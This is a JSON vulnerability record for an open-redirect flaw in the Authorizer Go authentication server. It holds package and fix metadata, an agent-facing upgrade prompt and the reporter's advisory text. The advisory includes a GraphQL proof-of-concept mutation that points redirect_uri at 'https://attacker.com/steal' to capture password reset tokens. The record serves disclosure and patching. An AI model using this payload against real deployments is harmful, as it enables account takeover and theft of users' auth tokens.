{"answers":{"affected":"3 open source packages ship an affected version, including github.com/authorizerdev/authorizer.","exploited":"There is no known exploitation of GHSA-x3f4-v83f-7wp2 in the wild and no public exploit code.","fix":"Upgrade github.com/authorizerdev/authorizer to 0.0.0-20260329085140-6d9bef1aaba3 or later.","what":"GHSA-x3f4-v83f-7wp2 is a vulnerability in github.com/authorizerdev/authorizer, published on 6 Apr 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-x3f4-v83f-7wp2 and fix it if it is affected.\n\nWhat it is: GHSA-x3f4-v83f-7wp2 is a vulnerability in github.com/authorizerdev/authorizer, published on 6 Apr 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-x3f4-v83f-7wp2 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/authorizerdev/authorizer (Go): affected all versions; fixed in 0.0.0-20260329085140-6d9bef1aaba3\n- github.com/authorizerdev/authorizer (Go): affected all versions; fixed in 0.0.0-20260329085140-6d9bef1aaba3\n- github.com/authorizerdev/authorizer (Go): affected all versions; fixed in 0.0.0-20260329085140-6d9bef1aaba3\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-x3f4-v83f-7wp2/ (Markdown: https://insights.sbomify.com/GHSA-x3f4-v83f-7wp2/index.md)","id":"GHSA-x3f4-v83f-7wp2","markdown":"https://insights.sbomify.com/GHSA-x3f4-v83f-7wp2/index.md","name":"GHSA-x3f4-v83f-7wp2","record":{"aliases":["GO-2026-5737"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["account_takeover","data_read"],"network_reachable":"yes","non_default_config":false,"product_category":"Go authentication server","requires_auth":"none","summary":"Attackers can steal password reset and auth tokens by exploiting unvalidated redirect URIs in multiple GraphQL and HTTP endpoints, leading to account takeover.","user_interaction":"required","vuln_class":"open_redirect"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Hi,\n\nI found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).\n\n## Affected Endpoints\n\n1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens\n2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens\n3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens\n4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens\n5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state\n6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh)\n\n## Root Cause\n\nBecause these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `[\"https://my-secure-app.com\"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations.\n\nIn `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation:\n\n    if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != \"\" {\n        redirectURI = refs.StringValue(params.RedirectURI)\n    }\n\nThe reset token is appended to this URL at `internal/utils/common.go:77`:\n\n    func GetForgotPasswordURL(token, redirectURI string) string {\n        verificationURL := redirectURI + \"?token=\" + token\n        return verificationURL\n    }\n\nCompare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly:\n\n    if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {\n        c.JSON(400, gin.H{\"error\": \"invalid redirect url\"})\n        return\n    }\n\nThis validation is missing from all 6 endpoints listed above.\n\n## Most Severe Path: Full Token Theft via verify_email\n\nAfter a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL:\n\n    params := \"access_token=\" + authToken.AccessToken.Token +\n        \"\u0026token_type=bearer\u0026expires_in=\" + ... +\n        \"\u0026id_token=\" + authToken.IDToken.Token + \"\u0026nonce=\" + nonce\n\nThe redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.\n\nBecause tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the `Referer` header.\n\n## PoC\n\n    mutation {\n      forgot_password(params: {\n        email: \"victim@example.com\"\n        redirect_uri: \"https://attacker.com/steal\"\n      }) {\n        message\n      }\n    }\n\nThe victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=\u003creset_token\u003e`. Clicking the link sends the reset token to the attacker.\n\n## Impact\n\n- Account takeover via stolen password reset tokens\n- Full session theft via stolen access_token + id_token + refresh_token\n- Passwordless account compromise via stolen magic link tokens\n- No authentication required to trigger (the GraphQL mutations are public)\n- Victim only needs to click the email link from their trusted Authorizer instance\n\n## Additional Note\n\nThe default `AllowedOrigins` at `cmd/root.go:39` is `[\"*\"]`, so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.\n\nKoda Reef","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri","id":"GHSA-x3f4-v83f-7wp2","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"open_redirect","year":"2026"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":["0.0.0-20260329085140-6d9bef1aaba3"],"introduced":["0"],"last_affected":[],"package":"github.com/authorizerdev/authorizer","purl":null,"source":"GHSA-x3f4-v83f-7wp2"},{"ecosystem":"Go","fixed":["0.0.0-20260329085140-6d9bef1aaba3"],"introduced":["0"],"last_affected":[],"package":"github.com/authorizerdev/authorizer","purl":"pkg:golang/github.com/authorizerdev/authorizer","source":"GHSA-x3f4-v83f-7wp2"},{"ecosystem":"Go","fixed":["0.0.0-20260329085140-6d9bef1aaba3"],"introduced":["0"],"last_affected":[],"package":"github.com/authorizerdev/authorizer","purl":"pkg:golang/github.com/authorizerdev/authorizer","source":"GO-2026-5737"}],"products":null,"published":"2026-04-06","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can steal password reset and auth tokens by exploiting unvalidated redirect URIs in multiple GraphQL and HTTP endpoints, leading to account takeover.","url":"https://insights.sbomify.com/GHSA-x3f4-v83f-7wp2/"}